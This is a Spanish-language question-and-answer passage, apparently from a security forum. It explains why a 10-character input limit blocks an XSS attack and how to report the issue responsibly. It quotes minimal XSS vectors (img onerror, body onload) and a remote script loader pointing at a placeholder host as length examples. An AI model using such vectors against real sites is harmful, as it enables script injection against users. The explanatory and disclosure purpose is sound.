¿Es posible llevar a cabo un ataque XSS?
No, 10 caracteres no son suficientes para explotar esto. Si desea ingresar un contexto de JavaScript, como mínimo, necesitará:
- 1 < para entrar en un contexto de etiqueta
- 1+ [a-z] para el nombre de la etiqueta
- 1 espacio
- 1+ [a-z] para el atributo (en la práctica, el atributo de evento más corto que existe actualmente es onload, que tiene 6 caracteres)
- 1 =
- su carga útil
Eso significa que incluso en una situación ideal, solo tiene 5 caracteres para su carga útil. Incluso si algo como jQuery ya está cargado, cargar un script remoto requiere más caracteres que eso.
En realidad, ni siquiera tienes 5 caracteres. El atributo más corto es de 6 caracteres, pero onload no funciona con img sin un src válido, por lo que onerror es más corto, lo que le da <img onerror=[] src=a>
(20 caracteres). Con una etiqueta de cuerpo, podría reducir esto un poco: <body onload=[]>
(14 caracteres), que todavía es demasiado largo. Y aún necesita su carga útil, que tendrá un mínimo de ~ 25 caracteres (por ejemplo, $.getScript('http://x.c')
).
Esto significa que en su situación, las etiquetas de secuencia de comandos serían en realidad las más cortas. Pero solo obtendrías a <script sr
con 10 caracteres.
Ni siquiera puedes inyectar un enlace, que posiblemente se pueda usar para el phishing, ya que también se corta una etiqueta: <a href=ht
Si no es así, ¿cómo debo reportar esta vulnerabilidad al propietario de la aplicación?
¿Es configurable la longitud del texto? En ese caso, esta sería una vulnerabilidad válida.
Si no es configurable, no lo consideraría una vulnerabilidad explotable, pero aún así lo informaría (al menos si me estoy comunicando con ellos debido a otros problemas), ya que puede convertirse en un problema en el futuro en En caso de que el vendedor decida mostrar más caracteres.